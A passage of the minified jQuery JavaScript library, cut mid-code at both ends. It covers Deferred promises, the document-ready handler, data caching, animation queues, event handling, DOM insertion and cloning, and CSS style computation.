n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=ae.call(arguments),o=ce.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?ae.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(L(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||v(i[t]&&i[t].then)))return o.then();while(t--)L(i[t],a(t),o.reject);return o.promise()}});var H=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;ce.Deferred.exceptionHook=function(e,t){ie.console&&ie.console.warn&&e&&H.test(e.name)&&ie.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},ce.readyException=function(e){ie.setTimeout(function(){throw e})};var O=ce.Deferred();function P(){C.removeEventListener("DOMContentLoaded",P),ie.removeEventListener("load",P),ce.ready()}ce.fn.ready=function(e){return O.then(e)["catch"](function(e){ce.readyException(e)}),this},ce.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--ce.readyWait:ce.isReady)||(ce.isReady=!0)!==e&&0<--ce.readyWait||O.resolveWith(C,[ce])}}),ce.ready.then=O.then,"complete"===C.readyState||"loading"!==C.readyState&&!C.documentElement.doScroll?ie.setTimeout(ce.ready):(C.addEventListener("DOMContentLoaded",P),ie.addEventListener("load",P));var M=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n))for(s in i=!0,n)M(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,v(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(ce(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},R=/^-ms-/,I=/-([a-z])/g;function W(e,t){return t.toUpperCase()}function F(e){return e.replace(R,"ms-").replace(I,W)}var $=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function B(){this.expando=ce.expando+B.uid++}B.uid=1,B.prototype={cache:function(e){var t=e[this.expando];return t||(t={},$(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[F(t)]=n;else for(r in t)i[F(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][F(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(F):(t=F(t))in r?[t]:t.match(D)||[]).length;while(n--)delete r[t[n]]}(void 0===t||ce.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!ce.isEmptyObject(t)}};var _=new B,z=new B,X=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,U=/[A-Z]/g;function V(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(U,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:X.test(i)?JSON.parse(i):i)}catch(e){}z.set(e,t,n)}else n=void 0;return n}ce.extend({hasData:function(e){return z.hasData(e)||_.hasData(e)},data:function(e,t,n){return z.access(e,t,n)},removeData:function(e,t){z.remove(e,t)},_data:function(e,t,n){return _.access(e,t,n)},_removeData:function(e,t){_.remove(e,t)}}),ce.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=z.get(o),1===o.nodeType&&!_.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=F(r.slice(5)),V(o,r,i[r]));_.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){z.set(this,n)}):M(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=z.get(o,n))?t:void 0!==(t=V(o,n))?t:void 0;this.each(function(){z.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){z.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=_.get(e,t),n&&(!r||Array.isArray(n)?r=_.access(e,t,ce.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=ce.queue(e,t),r=n.length,i=n.shift(),o=ce._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){ce.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return _.get(e,n)||_.access(e,n,{empty:ce.Callbacks("once memory").add(function(){_.remove(e,[t+"queue",n])})})}}),ce.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?ce.queue(this[0],t):void 0===n?this:this.each(function(){var e=ce.queue(this,t,n);ce._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&ce.dequeue(this,t)})},dequeue:function(e){return this.each(function(){ce.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=ce.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=_.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var G=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,Y=new RegExp("^(?:([+-])=|)("+G+")([a-z%]*)$","i"),Q=["Top","Right","Bottom","Left"],J=C.documentElement,K=function(e){return ce.contains(e.ownerDocument,e)},Z={composed:!0};J.getRootNode&&(K=function(e){return ce.contains(e.ownerDocument,e)||e.getRootNode(Z)===e.ownerDocument});var ee=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&K(e)&&"none"===ce.css(e,"display")};function te(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return ce.css(e,t,"")},u=s(),l=n&&n[3]||(ce.cssNumber[t]?"":"px"),c=e.nodeType&&(ce.cssNumber[t]||"px"!==l&&+u)&&Y.exec(ce.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)ce.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,ce.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ne={};function re(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=_.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ee(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ne[s])||(o=a.body.appendChild(a.createElement(s)),u=ce.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ne[s]=u)))):"none"!==n&&(l[c]="none",_.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}ce.fn.extend({show:function(){return re(this,!0)},hide:function(){return re(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?ce(this).show():ce(this).hide()})}});var xe,be,we=/^(?:checkbox|radio)$/i,Te=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,Ce=/^$|^module$|\/(?:java|ecma)script/i;xe=C.createDocumentFragment().appendChild(C.createElement("div")),(be=C.createElement("input")).setAttribute("type","radio"),be.setAttribute("checked","checked"),be.setAttribute("name","t"),xe.appendChild(be),le.checkClone=xe.cloneNode(!0).cloneNode(!0).lastChild.checked,xe.innerHTML="<textarea>x</textarea>",le.noCloneChecked=!!xe.cloneNode(!0).lastChild.defaultValue,xe.innerHTML="<option></option>",le.option=!!xe.lastChild;var ke={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function Se(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&fe(e,t)?ce.merge([e],n):n}function Ee(e,t){for(var n=0,r=e.length;n<r;n++)_.set(e[n],"globalEval",!t||_.get(t[n],"globalEval"))}ke.tbody=ke.tfoot=ke.colgroup=ke.caption=ke.thead,ke.th=ke.td,le.option||(ke.optgroup=ke.option=[1,"<select multiple='multiple'>","</select>"]);var je=/<|&#?\w+;/;function Ae(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))ce.merge(p,o.nodeType?[o]:o);else if(je.test(o)){a=a||f.appendChild(t.createElement("div")),s=(Te.exec(o)||["",""])[1].toLowerCase(),u=ke[s]||ke._default,a.innerHTML=u[1]+ce.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;ce.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<ce.inArray(o,r))i&&i.push(o);else if(l=K(o),a=Se(f.appendChild(o),"script"),l&&Ee(a),n){c=0;while(o=a[c++])Ce.test(o.type||"")&&n.push(o)}return f}var De=/^([^.]*)(?:\.(.+)|)/;function Ne(){return!0}function qe(){return!1}function Le(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Le(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=qe;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return ce().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=ce.guid++)),e.each(function(){ce.event.add(this,t,i,r,n)})}function He(e,r,t){t?(_.set(e,r,!1),ce.event.add(e,r,{namespace:!1,handler:function(e){var t,n=_.get(this,r);if(1&e.isTrigger&&this[r]){if(n)(ce.event.special[r]||{}).delegateType&&e.stopPropagation();else if(n=ae.call(arguments),_.set(this,r,n),this[r](),t=_.get(this,r),_.set(this,r,!1),n!==t)return e.stopImmediatePropagation(),e.preventDefault(),t}else n&&(_.set(this,r,ce.event.trigger(n[0],n.slice(1),this)),e.stopPropagation(),e.isImmediatePropagationStopped=Ne)}})):void 0===_.get(e,r)&&ce.event.add(e,r,Ne)}ce.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.get(t);if($(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&ce.find.matchesSelector(J,i),n.guid||(n.guid=ce.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof ce&&ce.event.triggered!==e.type?ce.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(D)||[""]).length;while(l--)d=g=(s=De.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=ce.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=ce.event.special[d]||{},c=ce.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&ce.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),ce.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.hasData(e)&&_.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(D)||[""]).length;while(l--)if(d=g=(s=De.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=ce.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||ce.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)ce.event.remove(e,d+t[l],n,r,!0);ce.isEmptyObject(u)&&_.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=ce.event.fix(e),l=(_.get(this,"events")||Object.create(null))[u.type]||[],c=ce.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=ce.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((ce.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<ce(i,this).index(l):ce.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(ce.Event.prototype,t,{enumerable:!0,configurable:!0,get:v(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[ce.expando]?e:new ce.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click",!0),!1},trigger:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click"),!0},_default:function(e){var t=e.target;return we.test(t.type)&&t.click&&fe(t,"input")&&_.get(t,"click")||fe(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},ce.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},ce.Event=function(e,t){if(!(this instanceof ce.Event))return new ce.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ne:qe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&ce.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[ce.expando]=!0},ce.Event.prototype={constructor:ce.Event,isDefaultPrevented:qe,isPropagationStopped:qe,isImmediatePropagationStopped:qe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ne,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ne,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ne,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},ce.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},ce.event.addProp),ce.each({focus:"focusin",blur:"focusout"},function(r,i){function o(e){if(C.documentMode){var t=_.get(this,"handle"),n=ce.event.fix(e);n.type="focusin"===e.type?"focus":"blur",n.isSimulated=!0,t(e),n.target===n.currentTarget&&t(n)}else ce.event.simulate(i,e.target,ce.event.fix(e))}ce.event.special[r]={setup:function(){var e;if(He(this,r,!0),!C.documentMode)return!1;(e=_.get(this,i))||this.addEventListener(i,o),_.set(this,i,(e||0)+1)},trigger:function(){return He(this,r),!0},teardown:function(){var e;if(!C.documentMode)return!1;(e=_.get(this,i)-1)?_.set(this,i,e):(this.removeEventListener(i,o),_.remove(this,i))},_default:function(e){return _.get(e.target,r)},delegateType:i},ce.event.special[i]={setup:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i);n||(C.documentMode?this.addEventListener(i,o):e.addEventListener(r,o,!0)),_.set(t,i,(n||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i)-1;n?_.set(t,i,n):(C.documentMode?this.removeEventListener(i,o):e.removeEventListener(r,o,!0),_.remove(t,i))}}}),ce.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){ce.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||ce.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),ce.fn.extend({on:function(e,t,n,r){return Le(this,e,t,n,r)},one:function(e,t,n,r){return Le(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,ce(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=qe),this.each(function(){ce.event.remove(this,e,n,t)})}});var Oe=/<script|<style|<link/i,Pe=/checked\s*(?:[^=]|=\s*.checked.)/i,Me=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function Re(e,t){return fe(e,"table")&&fe(11!==t.nodeType?t:t.firstChild,"tr")&&ce(e).children("tbody")[0]||e}function Ie(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function We(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Fe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(_.hasData(e)&&(s=_.get(e).events))for(i in _.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)ce.event.add(t,i,s[i][n]);z.hasData(e)&&(o=z.access(e),a=ce.extend({},o),z.set(t,a))}}function $e(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=v(d);if(h||1<f&&"string"==typeof d&&!le.checkClone&&Pe.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),$e(t,r,i,o)});if(f&&(t=(e=Ae(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=ce.map(Se(e,"script"),Ie)).length;c<f;c++)u=e,c!==p&&(u=ce.clone(u,!0,!0),s&&ce.merge(a,Se(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,ce.map(a,We),c=0;c<s;c++)u=a[c],Ce.test(u.type||"")&&!_.access(u,"globalEval")&&ce.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?ce._evalUrl&&!u.noModule&&ce._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):m(u.textContent.replace(Me,""),u,l))}return n}function Be(e,t,n){for(var r,i=t?ce.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||ce.cleanData(Se(r)),r.parentNode&&(n&&K(r)&&Ee(Se(r,"script")),r.parentNode.removeChild(r));return e}ce.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=K(e);if(!(le.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||ce.isXMLDoc(e)))for(a=Se(c),r=0,i=(o=Se(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&we.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||Se(e),a=a||Se(c),r=0,i=o.length;r<i;r++)Fe(o[r],a[r]);else Fe(e,c);return 0<(a=Se(c,"script")).length&&Ee(a,!f&&Se(e,"script")),c},cleanData:function(e){for(var t,n,r,i=ce.event.special,o=0;void 0!==(n=e[o]);o++)if($(n)){if(t=n[_.expando]){if(t.events)for(r in t.events)i[r]?ce.event.remove(n,r):ce.removeEvent(n,r,t.handle);n[_.expando]=void 0}n[z.expando]&&(n[z.expando]=void 0)}}}),ce.fn.extend({detach:function(e){return Be(this,e,!0)},remove:function(e){return Be(this,e)},text:function(e){return M(this,function(e){return void 0===e?ce.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return $e(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Re(this,e).appendChild(e)})},prepend:function(){return $e(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Re(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(ce.cleanData(Se(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return ce.clone(this,e,t)})},html:function(e){return M(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Oe.test(e)&&!ke[(Te.exec(e)||["",""])[1].toLowerCase()]){e=ce.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(ce.cleanData(Se(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return $e(this,arguments,function(e){var t=this.parentNode;ce.inArray(this,n)<0&&(ce.cleanData(Se(this)),t&&t.replaceChild(e,this))},n)}}),ce.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){ce.fn[e]=function(e){for(var t,n=[],r=ce(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),ce(r[o])[a](t),s.apply(n,t.get());return this.pushStack(n)}});var _e=new RegExp("^("+G+")(?!px)[a-z%]+$","i"),ze=/^--/,Xe=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=ie),t.getComputedStyle(e)},Ue=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ve=new RegExp(Q.join("|"),"i");function Ge(e,t,n){var r,i,o,a,s=ze.test(t),u=e.style;return(n=n||Xe(e))&&(a=n.getPropertyValue(t)||n[t],s&&a&&(a=a.replace(ve,"$1")||void 0),""!==a||K(e)||(a=ce.style(e,t)),!le.pixelBoxStyles()&&_e.test(a)&&Ve.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function Ye(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",J.appendChild(u).appendChild(l);var e=ie.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),J.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=C.createElement("div"),l=C.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",le.clearCloneStyle="content-box"===l.style.backgroundClip,ce.extend(le,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=C.createElement("table"),t=C.createElement("tr"),n=C.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="box-sizing:content-box;border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",J.appendChild(e).appendChild(t).appendChild(n),r=ie.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,J.removeChild(e)),a}}))}();var Qe=["Webkit","Moz","ms"],Je=C.createElement("div").style,Ke={};function Ze(e){var t=ce.cssProps[e]||Ke[e];return t||(e in Je?e:Ke[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;while(n--)if((e=Qe[n]+t)in Je)return e}(e)||e)}var et=/^(none|table(?!-c[ea]).+)/,tt={position:"absolute",visibility:"hidden",display:"block"},nt={letterSpacing:"0",fontWeight:"400"};function rt(e,t,n){var r=Y.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function it(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0,l=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(l+=ce.css(e,n+Q[a],!0,i)),r?("content"===n&&(u-=ce.css(e,"padding"+Q[a],!0,i)),"margin"!==n&&(u-=ce.css(e,"border"+Q[a]+"Width",!0,i))):(u+=ce.css(e,"padding"+Q[a],!0,i),"padding"!==n?u+=ce.css(e,"border"+Q[a]+"Width",!0,i):s+=ce.css(e,"border"+Q[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u+l}function ot(e,t,n){var r=Xe(e),i=(!le.boxSizingReliable()||n)&&"border-box"===ce.css(e,"boxSizing",!1,r),o=i,a=Ge(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(_e.test(a)){if(!n)return a;a="auto"}return(!le.boxSizingReliable()&&i||!le.reliableTrDimensions()&&fe(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===ce.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===ce.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+it(e,t,n||(i?"border":"content"),o,r,a)+"px"}function at(e,t,n,r,i){return new at.prototype.init(e,t,n,r,i)}ce.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ge(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,aspectRatio:!0,borderImageSlice:!0,columnCount:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,scale:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeMiterlimit:!0,strokeOpacity:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=F(t),u=ze.test(t),l=e.style;if(u||(t=Ze(s)),a=ce.cssHooks[t]||ce.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=Y.exec(n))&&i[1]&&(n=te(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(ce.cssNumber[s]?"":"px")),le.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=F(t);return ze.test(t)||(t=Ze(s)),(a=ce.cssHooks[t]||ce.cssHooks[s])&&"get"in 